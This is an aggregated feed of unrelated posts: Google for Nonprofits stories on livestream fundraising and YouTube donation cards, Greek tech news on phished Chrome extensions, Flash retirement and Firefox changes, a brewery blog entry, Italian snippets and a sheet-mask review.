Two years ago, we met Jessica Ryan — a woman whose mission is rooted in two seemingly unique spheres: celebrating live theatre and helping survivors of interpersonal violence. Jessica founded the  Broadway Unlocked #giveback concert, a livestream, interactive benefit concert aimed at connecting the two communities and helping raise awareness and donations for the Crime Victims Treatment Center (CVTC). The CVTC, New York State’s largest and most comprehensive hospital-based victim assistance program, provides therapy and services to survivors of assault, abuse and violence. All treatments at CVTC are free.

In an effort to reach a larger audience and expand the nonprofit’s donor base, Broadway Unlocked collaborated with Google for Nonprofits to broadcast the show and spread the message globally in 2016. On February 22, Google for Nonprofits helped bring Broadway to YouTube for the second year in a row with one night of song and social responsibility through the concert. To bring the show beyond NYC, Google Fiber hosted a watch party at the Fiber space with local Kansas City theatre groups and community members. 

This was a Broadway show unlike any other. This was Broadway with a variety of star performers, including Kyle Dean Massey, Carolee Carmello, Ali Stroker, Natalie Weiss, and Collabro. This was Broadway hosted by Google Fiber. Streamed via Google Hangouts on Air. And fueled in part by fundraising through donation cards on YouTube. This was Broadway on the internet -- crowdfunded and broadcast for one night only.

How did Broadway Unlocked make their globally livestreamed and crowdfunded event a success? We’re turning the mic towards Broadway Unlocked to hear what they learned.

5 Lessons Learned from Hosting a Livestream Benefit

  1. Engaging the community is key: Using Hangouts on Air, we were able to pull off a cross-city sing-a-long! Check it out. The video wasn’t flawless, but we successfully transported Broadway beyond the Big Apple.

  2. Global events can help grow engagement and donor base: Putting on an event in different cities is no easy feat. But it's amazingly rewarding to bring like-minded people and groups together to support similar causes. Hangouts and livestream technology made reaching new communities easier to do in one event. And by engaging these communities, we’ve been able to grow a stronger community and ultimately, donor base.

  3. Interactive video adds another dimension of creativity: Using Hangouts allowed us to engage the audience on the other side of the screen, adding a new dimension unique from watching on a passive screen. Our creative team came up with Musical MadLibs, (our new favorite game!), which really shows how we were able to interact with the crowd through video chat.

  4. Google is a gamechanger for nonprofits: YouTube and Google Fiber enabled us to livestream the concert to theatre lovers and supporters in Kansas City and hundreds of people at home that night. This allowed us to increase the viewership of our benefit by 10X more than if we had only shown the concert to the folks at the Greene Space in NYC.

  5. Crowdfunding and donation cards can help you reach your goals: Through crowdfunding using donation cards on YouTube, One Today donations, live fundraising at the concert, and private donations, we raised more than ever before -- an astounding $50,000. This additional funding will hugely impact our ability to provide treatments for victims of domestic violence in tandem with the CVTC.

To see if your nonprofit is eligible to participate in the nonprofit programs, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

If you are a U.S. nonprofit looking to add donation cards to your YouTube videos, learn more here.

Nonprofits aren't endorsed by YouTube or Google


          Introducing new donation tool on YouTube benefiting nonprofits        
YouTube has over a billion users. That’s almost one-third of all people on the Internet. And everyday those users watch hundreds of millions of hours of video, racking up billions of views – which are now billions of opportunities to do good.

We’re excited to announce a brand new tool that U.S. nonprofits can utilize — donation cards on YouTube! Donation cards make it even simpler to raise money for your cause by allowing your viewers to donate directly from your YouTube video. Even better — Google covers the processing fees, so your organization will receive 100% of the money donated. Donation cards on YouTube are currently available for U.S. nonprofits and creators, but we look forward to expanding into other countries, so nonprofits and creators can digitally fundraise across the globe. 

Using donation cards, YouTube creators can also now raise money through their content to both support your cause and make their videos more impactful! Donation cards for creators in the U.S. enable their subscribers and viewers to donate directly from their videos. Creators can choose any United States, IRS-validated 501(c)3 public nonprofit organization. Your nonprofit will receive 100% of the money donated.

Want to see donation cards in action? Check out this video from Madison Beer. 

Now it’s your turn. To help you get started, we’ve put together an outreach toolkit – including email templates, social media templates, and fundraising best practices – to help your nonprofit share the news about donation cards with your supporters and other YouTube creators. With these tools, we hope you’ll empower as many people as possible to learn about your nonprofit and fuel fundraising on your behalf. 

To see if your nonprofit is eligible to participate in the YouTube for Nonprofit Program, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours free access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.

If you are a U.S. nonprofit looking to add donation cards to your YouTube videos, learn more here.
If you are a U.S. YouTube creator looking to fundraise for your favorite cause, learn more here. 

Nonprofits aren't endorsed by YouTube or Google


          Case study: Youth-oriented nonprofit overcomes limited budget with Google tools        

Just because you don’t have a big budget doesn’t mean you can’t have a big impact. Robin Bossert found that to be true when he started Navigators USA, a nonprofit that provides scouting experiences for children and their parents to help them spend more time outdoors. With over 100 independent chapters in the US and a shoestring budget, Navigators USA uses Google for Nonprofits tools to maintain and grow their organization.

Case Study
As an organization that works with youth, Navigators USA needed to have a way to maintain privacy and security while still being able to share information quickly and efficiently with parents. They use Google Groups and Sites to control access when sharing information. Juggling so many chapters across the country can be a challenge. To keep an open dialogue and get timely feedback from chapter leaders, they use Google Forms to send out questionnaires and use Google Drive to share trip ideas with other chapters. Handling logistics like shipping uniforms across the country is managed through Google Sheets and enables them to track their inventory and make sure their chapters have the supplies they need. By not having to worry about their technology budget or capabilities, Navigators USA can focus on building a movement and get more children outside. 

Watch Robin and other members discuss how they used Google tools to help manage and grow Navigators USA here. 


          Google for Education presents: Google RISE Awards!        

Google for Education just opened applications for the Google RISE Awards, a $10-25k USD grant given to nonprofit organizations globally that give girls and underrepresented students access to computer science through extracurricular outreach programs. In 2015, 37 organizations from 17 countries received RISE Awards for projects ranging from programming clubs in Johannesburg to workshops on CS and music production in San Francisco. 

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Learning about CS promotes valuable problem solving skills that students can apply to any field of study. Unfortunately, many students have a negative perception of what CS is and who it’s for. By partnering with nonprofits that are providing students with access and exposure to CS, we hope to change this perception and encourage more students to pursue CS. We’ve been inspired by the creativity and passion we’ve seen from our past RISE awardees, and this year we’re excited to expand the reach of the RISE awards by opening two rounds of funding applications for nonprofit organizations. 

The RISE Awards are now accepting applications through February 19, and more information on the application process is listed on our website. Visit g.co/csedu to learn more about Google’s other CS resources, including our CS teacher professional development awards, Computer Science for High School (CS4HS), which is also currently accepting applications for the 2016 year.


          Google Glass        

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           Δύο Chrome extensions μετατράπηκαν σε adware        


Τις τελευταίες 5 ημέρες, 2 λογαριασμοί developers του Google Chrome Web Store, έπεσαν θύματα παραβίασης μέσω επιθέσεων phishing, με αποτέλεσμα να προωθήσουν κακόβουλα updates στους χρήστες των extension του Chrome.

Τα επηρεαζόμενα extensions είναι το Web Developer και το Copy Fish και σύμφωνα με τους ισχυρισμούς των developers τους, οι "πειραγμένες" εκδόσεις απλά ΄σέρβιραν διαφημίσεις στα sites που επισκέπτονταν οι χρήστες τους.

Σύμφωνα με την A9t9 Software, δημιουργό του Copy Fish, ο λογαριασμός που διαχειρίζεται το extension στο Chrome Web Store δεν προστατευόταν με two-factor authentication (που δίνει δωρεάν η Google) και η παραβίαση του έγινε όταν ένας εργαζόμενος της έβαλε τα credentials σε phoney email που νόμιζε πως προερχόταν από την Google.

Από την πλευρά του ο Chris Pederick που αναπτύσει το Web Developer, δεν έδωσε λεπτομέρειες πέρα από το ότι και ο δικός του λογαριασμός έπεσε θύμα phishing.

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          Î— Adobe καταργεί οριστικά το Flash στα τέλη του 2020        

Ο θάνατος του Flash έχει προβλεφθεί εδώ και αρκετό καιρό, ειδικά μετά τις κινήσεις της Adobe τα τελευταία χρόνια, όμως σήμερα γνωρίζουμε και την ακριβή ημερομηνία που η πάλαι ποτέ δημοφιλής τεχνολογία του Internet, θα αφήσει την τελευταία της πνοή.
Αυτή δεν είναι άλλη από την 31η Δεκεμβρίου του 2020 σύμφωνα με σημερινή ανακοίνωση της Adobe, όταν και η εταιρεία θα σταματήσει να κυκλοφορεί αναβαθμίσεις για το Flash αλλά και να το διαθέτει στην αγορά σε οποιαδήποτε έκδοσή του. Στην ανακοίνωση η εταιρεία αναφέρει και ενδιαφέροντα στατιστικά στοιχεία που δείχνουν τη σημαντική πτώση στη χρήση ιστοσελίδων που χρησιμοποιούν την τεχνολογία. Συγκεκριμένα το 2014, το 80% των χρηστών του Chrome browser επισκεπτόντουσαν καθημερινά τουλάχιστον μία ιστοσελίδα με Flash περιεχόμενο, ένα ποσοστό που κατακρημνίστηκε στο 17% στις μέρες μας.

Μέχρι το τέλος του 2020, η Adobe θα κυκλοφορεί αναβαθμίσεις ασφάλειας σε συνεργασία με την Apple, τη Mozilla, τη Microsoft και τη Google προκειμένου να υπάρχει τυπική υποστήριξη στους browsers των συγκεκριμένων εταιρειών. Ήδη οι περισσότερες από αυτές τις εταιρείες έχουν προχωρήσει εδώ και αρκετό καιρό σε απενεργοποίηση του Flash περιεχομένου από τις ιστοσελίδες που φορτώνει ο χρήστης, και ο οποίος θα πρέπει να κάνει κλικ προκειμένου να εμφανίσει το σχετικό περιεχόμενο.

Η τεχνολογία Flash αν και δεν έκανε εύκολη τη ζωή των προγραμματιστών, εντούτοις έδινε τη δυνατότητα δημιουργίας εντυπωσιακών ιστοσελίδων, οι οποίες όμως δεν μπορούσαν σε καμία περίπτωση να είναι εξίσου εντυπωσιακές και σε φορητές συσκευές και ειδικότερα στα smartphones. Στην ιστορία έχει περάσει άλλωστε η απόφαση του Steve Jobs που από την πρώτη στιγμή είχε αποκλείσει την παρουσία του περιεχομένου Flash στο iPhone εξαιτίας των προβλημάτων που δημιουργούσε με την αυτονομία της συσκευής.

Επιπλέον τα τελευταία χρόνια, η άνοδος των ανοιχτών προτύπων HTML 5, WebGL, CSS και Javascript, δίνει την ευκαιρία στους προγραμματιστές να δημιουργήσουν εξίσου εντυπωσιακές ιστοσελίδες και web υπηρεσίες, με τη δυνατότητα αυτές να τρέχουν σε διαφορετικών ειδών συσκευές με ελάχιστες αλλαγές.

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          Î•Î¼Ï€Î¹ÏƒÏ„εύεστε τα δεδομένα σας στο Cloud;        

Η Google ανακοίνωσε πρόσφατα ότι το Google Drive, δηλαδή η πλατφόρμα της για αποθήκευση στο "σύννεφο", μπορεί να χρησιμοποιηθεί πλέον για το πλήρες backup των αρχείων που βρίσκονται στις αποθηκευτικές μονάδες του χρήστη. Άλλες σχετικές υπηρεσίες, όπως το Dropbox, το Apple iCloud και το Microsoft OneDrive, παρέχουν ήδη παρόμοια λειτουργικότητα, με άμεσο ή έμμεσο τρόπο.
Φυσικά, η χρήση του Cloud κατ΄αυτό τον τρόπο παρέχει σημαντικά οφέλη, όπως ευκολία πρόσβασης σε αρχεία από οπουδήποτε και μέσω οποιασδήποτε συσκευής, αλλά και αυξημένη ασφάλεια σε σχέση με τα συμβατικά μέσα τοπικής αποθήκευσης, τα οποία είναι πιθανότερο να αποτύχουν λόγω φυσικής φθοράς, ή να επηρεαστούν από κακόβουλο λογισμικό.
Δεν είναι λίγοι βέβαια κι εκείνοι που αντιμετωπίζουν με σκεπτικισμό το Cloud, αφού τους απασχολεί το ζήτημα της ιδιωτικότητας, ενώ δεν εμπιστεύονται ούτε την ασφάλεια των σχετικών υπηρεσιών, φοβούμενοι - και όχι άδικα, ότι οι υποδομές των εταιρειών δεν είναι άτρωτες απέναντι σε κυβερνοεπιθέσεις, που θα επέτρεπαν ακόμα και την υποκλοπή ευαίσθητων προσωπικών δεδομένων.

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          Î— Google ενεργοποιεί "Panic mode" για το back button στην έκδοση 7.1 του Android        

Το Android στην έκδοση 7.1, απέκτησε ένα νέο χαρακτηριστικό με το παρατσούκλι "panic button". Η νέα δυνατότητα εντοπίστηκε από χρήστες του XDA-Developers και έχει σαν στόχο να δώσει στον χρήστη μια επιπλέον δυνατότητα αντιμετώπισης εφαρμογών που έχουν κολλήσει ή είναι κακόβουλες.

Πολλές κακόβουλες εφαρμογές, απενεργοποιούν το back button στο κινητό, αποτρέποντας τον χρήστη από το να βγει από αυτήν και να επιστρέψει στην αρχική οθόνη της συσκευής του. Το Panic mode, "παρακολουθεί" το πόσες φορές και με ποιά συχνότητα πατάει το back button. "Εκτιμώντας" την δύσκολη κατάσταση που βρίσκεται ο χρήστης, το λειτουργικό αναλαμβάνει δράση και παίρνει τον έλεγχο από την "κρεμασμένη" ή κακόβουλη εφαρμογή, κλείνοντας την, επιστρέφοντας την αρχική οθόνη.
A few malicious applications may turn off the 'back' key as well as other buttons. This then wouldn't let the user return to his main screen else any other application. The time is then when the user starts panicking. Unable to guess what is happening with his smart phone as well as what makes it not to answer the user's commands, the phone owner will keep on anxiously hitting the back button in anticipation of it behaving its usual way.

It is here when Google's system would find out the unusual behavior of the phone owner's back button i.e. why so frequently the button is being pressed. Subsequently, the system will prevail over the application and once again enable back action on the phone as well as restore its main screen. The system works for applications which simply freeze, however, for rogue software too which attempts at tapping any or all moves, such as adware or malicious software. 
 
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          Anonymous Greece:«Έσπασαν» το Τούρκικο Google Translate        

Συνεχίζεται με αμείωτους ρυθμούς ο cyber war Î¼ÎµÏ„αξύ Ελλήνων και Τούρκων χάκερ όταν πριν από ένα μήνα περίπου ομάδα Τούρκων «έριξαν» την σελίδα της Ελληνικής Πρωθυπουργίας. Η απάντηση ήρθε απ’ την μεριά των Ελλήνων Anonymous με τον πιο δυνατό τρόπο.



Στη νέα επίθεση των Anonymous Greece  ÏƒÏ„όχος ήταν το Google Translate της Τουρκίας όπου και ανάρτησαν το ακόλουθο μήνυμα:
« Η Τουρκία ήταν πρώτη. Είναι ώρα να σας κυνηγήσουμε.  Δεν έχουμε πρόβλημα με τους Τούρκους.  Το πρόβλημα είναι με την ελεεινή κυβέρνησή σας η οποία προφανώς βοηθά τον ISIS και φυσικά τις ομάδες των χάκερς σας που δεν ξέρουν πώς να χακάρουν σωστά συστήματα.  Είναι ώρα να ξεκινήσουμε την επιχείρηση η Τουρκία σε Blackout. Όλοι οι τηλεοπτικοί σταθμοί και τα Αεροδρόμιά σας και οι επιχειρήσεις σας θα καταστραφούν».

Σύμφωνα με τα όσα αναφέρουν οι Anonymous Greece η επίθεση στο Translate της Τουρκίας – το οποίο ακόμα και αυτή τη στιγμή παραμένει πεσμένο- ήταν μόνο η αρχή.

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          ÎŒÎ»Î± όσα αλλάζουν στον Firefox        


Είναι αδιαμφισβήτητο το γεγονός ότι ο άλλοτε κραταιός browser βρίσκεται πια σε δεύτερη, ίσως και τρίτη, μοίρα στη γνωστή «μάχη». Δε θα σταθούμε ιδιαίτερα στα πώς και τα γιατί, εντούτοις θα αναγνωρίσουμε ότι η αλεπού υστερεί έναντι του ανταγωνισμού. Ενίοτε και δραματικά.
Εδώ και κάμποσα χρόνια, ο Firefox, η εφαρμογή που κάποτε όριζε τις εξελίξεις στην πλοήγηση του διαδικτύου, έχει καταλήξει να τις κυνηγά ασθμαίνοντας, ενώ γίνεται όλο και πιο ορατός ο κίνδυνος να βρεθεί στην αφάνεια.
Φυσικά, αυτό δεν πέρασε απαρατήρητο από τη μαμά Mozilla, η οποία έλαβε την -τολμηρή, είναι η αλήθεια- απόφαση να τον διαλύσει σχεδόν στα εξ ων συνετέθη και να τον δημιουργήσει ξανά. Όσο κι αν φαίνεται περίεργο, είναι ίσως η πρώτη φορά έπειτα από πολύ καιρό που υπάρχει ολοκληρωμένο πλάνο για τη δημιουργία ενός σύγχρονου browser, με κάθε επιλογή να είναι απόλυτα αιτιολογημένη από τεχνικής πλευράς. Ταυτόχρονα, οι προγραμματιστές φροντίζουν με κάθε δυνατό τρόπο ώστε οι αλλαγές να επέλθουν ομαλά και να μη βρεθούν ξαφνικά οι χρήστες μπροστά σε κάτι εντελώς άγνωστο.
Στην πραγματικότητα, η νέα εποχή για τον Firefox σηματοδοτήθηκε από την επιτάχυνση του κύκλου εκδόσεων και την υιοθέτηση του αποκαλούμενου «Rapid Release», σύμφωνα με το οποίο προκύπτει μία νέα σταθερή έκδοση κάθε πέντε με οκτώ εβδομάδες περίπου. Τώρα ο κύκλος αυτός θα επιταχυνθεί ακόμα περισσότερο, με την αφαίρεση ενός βήματος. Η πορεία των εκδόσεων ήταν κατά σειρά Nightly -> Aurora (από εδώ προέκυπτε η Developer Edition) -> Beta -> Stable και στο εξής δε θα βγαίνει η Aurora, με την Developer να πηγάζει από την εκάστοτε Beta.
Ακολουθώντας την ίδια λογική ως προς την αύξηση της ταχύτητας ανάπτυξης, δεν προκάλεσε ακριβώς έκπληξη η επιλογή να απαλλαγεί ο browser από το μικρότερο ξαδερφάκι του, το Thunderbird, με το δεύτερο να (εξ)αναγκάζεται να ενηλικιωθεί σχετικά απότομα και να ορίσει τη δική του μοίρα. Αν θέλετε περισσότερες πληροφορίες για αυτό, πεταχτείτε στα γρήγορα προς το τέλος του άρθρου.
Στη συνέχεια θα δούμε πώς ακριβώς θα μεταμορφωθεί ο Firefox και θα προσπαθήσουμε να εξηγήσουμε τους λόγους που οδήγησαν στις συγκεκριμένες αλλαγές. Στόχος δεν είναι να πειστεί κανείς για το αξιόλογο της συγκεκριμένης εφαρμογής αλλά απλά και μόνο η επαρκής πληροφόρηση. Να σημειώσουμε εδώ ότι δε θα αναφερθούμε εκτενώς σε όλες τις μεταβολές, γιατί αρκετές από αυτές είναι σε πρώιμο στάδιο ακόμα. Θα παραμείνουμε περισσότερο σε αυτές που είναι ήδη εδώ αλλά και σε εκείνες που θα υλοποιηθούν στο άμεσο μέλλον.

WebExtensions
Ξεκινάμε με κάτι που, πριν καν ολοκληρωθεί, έχει συγκεντρώσει μεγάλο αριθμό αντιδράσεων, οι οποίες αναμένεται να ενταθούν όσο πλησιάζει η στιγμή της εφαρμογής του. Πρόκειται για το φαινόμενο «τα πρόσθετά μας πέθαναν, τα πρόσθετά μας πάνε». Δηλαδή, δεν πάνε ακριβώς. Και οι αντιδράσεις, αν και κατανοητές, είναι υπερβολικές μερικές φορές, ειδικά αν αναλογιστεί κανείς την ανάγκη πίσω από αυτή την απόφαση.
Τι θα συμβεί; Ένας αρκετά μεγάλος αριθμός πρόσθετων (add-ons) θα πάψει να λειτουργεί. Απλά και ξεκάθαρα. Όπως είπαμε, o Firefox αλλάζει και μία από τις σημαντικότερες αλλαγές είναι η εμφάνιση ενός νέου τύπου πρόσθετων, των WebExtensions. Αναπόφευκτα, μια τέτοια αλλαγή σημαίνει ότι ορισμένοι χρήστες θα αναγκαστούν να αναζητήσουν εναλλακτικές λύσεις για τα πρόσθετα εκείνα που δε θα δουλεύουν πια ή σε ορισμένες περιπτώσεις να συμβιβαστούν με την έλλειψη αυτών.
Γιατί όμως αποφασίστηκε κάτι τέτοιο; Είναι τρελοί οι προγραμματιστές και δεν τους ενδιαφέρουν οι χρήστες; Μήπως απλά δεν ξέρουν τι κάνουν; Εννοείται βέβαια πως δεν ισχύει κάτι από αυτά. Αυτό που ισχύει, χωρίς να αναλωθούμε σε υπερβολικά τεχνικές αναλύσεις, είναι ότι ο Firefox στα σωθικά του είναι γερασμένος. Η γλώσσα που χρησιμοποιεί, η XUL, είναι σχετικά παρωχημένη, είναι δεμένη με την επίσης γερασμένη και προγραμματισμένη για αντικατάσταση μηχανή Gecko, ενώ δε χρησιμοποιείται ιδιαίτερα σε περιβάλλοντα εκτός της Mozilla. Αντί λοιπόν να παραμείνουν δέσμιοι στη συντήρηση της γλώσσας αυτής, επέλεξαν να την αλλάξουν σταδιακά. Το πρόβλημα όμως είναι ότι τα πρόσθετα χρησιμοποιούν επίσης τη XUL.
Ας δούμε όμως λίγες περισσότερες λεπτομέρειες, ώστε να καταλάβουμε καλύτερα το όλο θέμα. Να πούμε πρώτα τα αρνητικά, τι θα χάσουν δηλαδή οι χρήστες: θα χάσουν προφανώς κάποια από τα πρόσθετα που έχουν συνηθίσει να χρησιμοποιούν. Αυτό βέβαια δεν είναι απαραίτητο να συμβεί σε όλους. Αρκετά από τα ήδη υπάρχοντα πρόσθετα έχουν είτε ολοκληρώσει, είτε ξεκινήσει τη μετατροπή σε WebExtensions. Θα χάσουν επίσης -ανάλογα με την περίπτωση πάντα- λίγη ή περισσότερη λειτουργικότητα από τα πρόσθετά τους, ακόμα κι αν αυτά υπάρχουν στη νέα εκδοχή τους. Αυτό το τελευταίο φαίνεται ιδιαίτερα άσχημο, είναι όμως αναγκαίο αντάλλαγμα για κάτι που θα κερδηθεί.
Πάμε τώρα σε αυτά που θα μας προσφέρουν τα WebExtensions. Το πρώτο είναι η διαλειτουργικότητα. Θα χρησιμοποιούν APIs συμβατά με αυτά του Chrome (και των browsers που βασίζονται στη μηχανή Blink), κάτι που σημαίνει ότι αφενός μεν τα διαθέσιμα για άλλους browsers πρόσθετα θα μπορούν να τρέξουν -με κάποιες μικρές αλλαγές- και στον Firefox, αφετέρου δε κάποιος που θέλει να δημιουργήσει ένα πρόσθετο, δε θα βρεθεί στο δίλημμα επιλογής browser και θα καταλήξει στον Chrome ως πρωτοπόρο σε αριθμό χρηστών αλλά θα μπορεί κατ’ ουσίαν να φτιάξει ένα για όλους.
Το δεύτερο σημαντικό στοιχείο που προσμετράται στα θετικά (έχοντας όμως το «αρνητικό» ότι αποτελεί το αντάλλαγμα που προαναφέραμε) είναι ότι με τη χρήση των WebExtensions ενισχύεται σημαντικά η ασφάλεια στο περιβάλλον του browser και η ευελιξία στην ανάπτυξή του. Αρκετά σοβαρός λόγος για να γίνει η αλλαγή, δε βρίσκετε; Για να συμβούν αυτά όμως, θα περιοριστούν όσα μπορεί να κάνει ένα πρόσθετο. Με το τωρινό σύστημα και μέσω της XUL, κάθε πρόσθετο έχει εν δυνάμει απεριόριστη πρόσβαση στον browser. Αυτό του δίνει πολλές δυνατότητες, τόσες ώστε να μπορεί να αλλάξει την εμφάνιση της ίδιας της εφαρμογής αλλά και τη λειτουργία της. Είναι ωραίο, μας αρέσει και το χαίρονται ιδιαίτερα οι «power users», δεν αντιλέγει κανένας. Εγκυμονεί κινδύνους όμως. Έχοντας πρόσβαση στα ενδότερα, ένα κακόβουλο ή απλά κακογραμμένο πρόσθετο -και υπάρχουν δεκάδες τέτοια- μπορεί από το να αυξήσει σημαντικά την κατανάλωση πόρων του συστήματος (βλέπε AdBlock) μέχρι και να οδηγήσει στη δημιουργία κενών στη διαδικτυακή μας ασφάλεια. Επίσης, δεν είναι δυνατό το πέρασμα σε νεότερη έκδοση του Firefox χωρίς να «σπάσουν» κάποια πρόσθετα.
Αυτά θα επιχειρηθεί να αντιμετωπιστούν με τη μετάβαση στα WebExtensions. Τα νέα πρόσθετα θα έχουν λιγότερες δυνατότητες, θα είναι όμως πιο εύκολο για τους προγραμματιστές να γράψουν σωστό κώδικα, άρα και να έχουμε μελλοντικά πρόσθετα καλύτερης ποιότητας. Θα είναι επίσης αρκετά πιο ασφαλή, ενώ δε θα μπορούν να «γονατίσουν» τον browser, όπως συμβαίνει μέχρι τώρα.

Electrolysis
Στη βελτίωση της λειτουργίας της εφαρμογής θα συμβάλει μία ακόμα πολυπόθητη αλλαγή: το Electrolysis (e10s). Η αλεπού αποκτά επιτέλους τη δυνατότητα να τρέχει τις επιμέρους διεργασίες της με τρόπο που θα τις κάνει ανεξάρτητες μεταξύ τους, όπως συμβαίνει ήδη με το αντίπαλο δέος της Google.
Με το υπάρχον μοντέλο, ολόκληρη η λειτουργία του Firefox γίνεται μονοδιάστατα. Η διεπαφή χρήστη, η διαχείριση των καρτελών, τα πρόσθετα, η παρουσίαση του διαδικτυακού περιεχομένου, όλα βρίσκονται στον ίδιο νοητό χώρο και μπορούν να αλληλεπιδρούν. Αυτό παρουσιάζει σοβαρά μειονεκτήματα. Ένα-δύο ενδεικτικά, που θα τα έχετε συναντήσει σίγουρα αρκετοί από εσάς, είναι η καθυστέρηση στην απόκριση της διεπαφής (λ.χ. στο άνοιγμα του μενού) επειδή μια ιστοσελίδα είναι προβληματική ή η ενημέρωση ότι κάποιο script επηρεάζει αρνητικά τη λειτουργία της εφαρμογής. Στοιχεία που θα έπρεπε να είναι άσχετα μεταξύ τους, δεν είναι όμως. Πλέον θα πάψει να υφίσταται κάτι τέτοιο, γιατί τα επιμέρους συστατικά θα έχουν τη δική τους διεργασία (process). Όλο αυτό θα ενισχύσει την ταχύτητα και την αποκρισιμότητα του browser, θα αυξήσει όμως λίγο και την κατανάλωση πόρων.
Με μία σημαντική λεπτομέρεια εδώ: μαθαίνοντας ίσως από τα λάθη των άλλων, η multiprocess δραστηριότητα του Firefox δε θα λειτουργεί ακριβώς όπως στον Chrome. Δε θα δημιουργείται δηλαδή ένα process για κάθε νέα καρτέλα, οδηγώντας την κατανάλωση της RAM σε υπερβολικά επίπεδα. Αντίθετα, θα υπάρχει συγκεκριμένος αριθμός που θα αναλογεί στις καρτέλες, άλλος που θα αφορά τα πρόσθετα, τρίτος για τη γραφική διεπαφή κ.ο.κ. Τεχνικός συμβιβασμός δηλαδή που προσπαθεί να αποφέρει όσα περισσότερα πλεονεκτήματα μπορεί, προσφέροντας το ελάχιστο δυνατό αντίτιμο.
Το Electrolysis ενεργοποιήθηκε αρχικά εν είδει δοκιμής για περιορισμένο αριθμό χρηστών, ο οποίος αυξάνεται σταδιακά, ενώ από την έκδοση 54 θα είναι προενεργοποιημένο για τους χρήστες εκείνους που δε χρησιμοποιούν κανένα πρόσθετο. Γιατί μόνο για εκείνους; Ένα χαρακτηριστικό δείγμα του πόσο απαραίτητες είναι οι αλλαγές και η εγκατάλειψη του παλιότερου τρόπου λειτουργίας είναι το ότι το Electrolysis μπλοκάρεται (και απενεργοποιείται αυτόματα) αν εγκαταστήσουμε κάποιο πρόσθετο που δεν είναι συμβατό αυτό.
Τονίζουμε ότι το ορόσημο είναι η έκδοση 57, η οποία έχει προγραμματιστεί για τον ερχόμενο Νοέμβριο. Με την έλευσή της, θα είναι ενεργό για όλους το e10s, πιθανότατα με τέσσερα processes ως προεπιλογή, και παράλληλα κάθε μη WebExtension πρόσθετο θα αχρηστευθεί. Σε περίπτωση τώρα που κάποιος χρειαστεί λίγο περισσότερο χρόνο, θα μπορεί να περάσει στην αντίστοιχη ESR (Έκδοση Εκτεταμένης Υποστήριξης).
Για την εξυπηρέτηση των χρηστών υπάρχει ήδη διαθέσιμη σελίδα όπου καταχωρούνται τα συμβατά πρόσθετα. Υπάρχει επίσης σχετικό tag στη σελίδα με όλα τα πρόσθετα του Firefox ενώ στις επόμενες εκδόσεις και μέχρι την οριστική αποπομπή τους θα εμφανίζεται μέσα στον browser η ένδειξη «LEGACY» δίπλα σε όποιο πρόσθετο δεν είναι συμβατό και θα γίνεται παραπομπή σε αντίστοιχης λειτουργίας πρόσθετα.

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          Happy Thanksgiving!        

Happy Thanksgiving Everyone! Since Marie is so nice as to be cooking and we're in Colombia so I can't TV I can post!

It’s been a while since I posted on this blog. Google tells me one person reads this every couple of days, so  mystery person, I apologize for the lack of updates.  I’ve finished another book in the Classic Beer Style Series, this time on Porter, and by the time I get home I’ll have finished Brown Ale as well. They we’re both pretty good and a bit more fluid then the Mild Ale book. All and all pretty good. Since I’ve been following all English Beer there is allot of overlay in each one, however each adds a bit more information to the history of brewing in England, old ingredients and of course inspiration for an American Interpretation.  I might write a mini-review on them when I get back home.

I’m going to give a reason for the lack of posts, one good and one not as impressive. The not so impressive one is I have been swamped at work. With the 1st Infantry Division getting ready to deploy (along with myself) I’ve been working allot more then the past. It’s almost a second job getting ready to deploy while still doing garrison work.

Now the good reason. I’ve found a building I would like to purchase for the brewery. It’s another historic property that is in need of great deal of work. I like preservation and would be very happy to incorporate those goals into a broader vision of New Buffalo.

The name isn’t just because I’m lazy and didn’t want to think hard. Buffalo is becoming a New Buffalo. When I was younger Buffalo was seen as a no-go zone, with lots of drug issues and violence. That is changing for allot of people, and I want to be part of the effort of rebuilding the city. Physical rebuilding would be an easy way to get that connection.

At the end of the day it is about what we can afford so we’ll see if it pans outs. Thanks for reading.

          Google, Apple, le tasse e gli ubriachi        
Sino a che non si renderà conveniente agli imprenditori di questo paese pagare le tasse e rispettare le regole convertendo le tasse in servizi visibili e reali ogni richiamo all'indignazione equivarrà ad attaccarsi ai numeri come gli ubriachi si attaccano ai lampioni, non per farsi illuminare ma per farsi sostenere.
          Data Gif Maker: strumento di Google che trasforma dati in animazioni        
Google ha lanciato Data Gif Maker, uno strumento in grado di trasformare dati in animazioni Gif. Si inseriscono due termini da paragonare, uno a sinistra e uno a destra, con la possibilità di mostrare una percentuale,  un numero o altri valori separati da una virgola. Si può inserire anche una breve descrizione non più lunga di 30 caratteri. E’ possibile paragonare fino […]
          Review: Missha Red Ginseng Sheet Mask        
Remember in the previous I mentioned that I will be reviewing the skincare products I received in my Althea package. Well, here is the first one.

I will be reviewing Missha Red Ginseng Sheet Masm today. This is my first time seeing red ginseng being used as one of the ingredients in a skin products. I do know that people consume red ginseng for stamina, but I have never heard of red ginsnsg being applied on skin. I guess the koreans like their ginseng so much that they put it in almost everthing. On a serious note, I actually googled on the benefits of red ginseng on the skin. And I found out that it has a anti-aging properties and helps to rejuvenate the skin. Just what I need after a long day of work!

The facial mask's packaging with dried red ginseng on it

Haha the packaging reminds me of those extract that koreans like to consume for health reasons.



English translations on the instructions and ingredients are available at the back side of the package

The back-side of the pack stated that mask is to firm and nourish the skin. And interestingly the mask only contains red ginseng extract!

So first look, I noticed that the facial mask is not a regular one but a 3D mask. Below is the photo of the mask after I dried it for a few days. I folded into half to show that unlike ordinary mask, the 3D mask threaded/joined at the center so it sits well on the face. It also covered the chin well.

There was a lot of essence in the pack too...in fact the mask was dripping wet.

So what was the mask effective? I am actually quite impress. The result was not quite far off from what it intends to do. My face was less dull the next day and more moisturized. I also did not experience any itchiness. I also like the 3D shaped of the mask because I can walk around the house easily because it fits my face like a glove.


I will rate this 4/5 :)


          Side-Talk: Butterscotch Cafe        
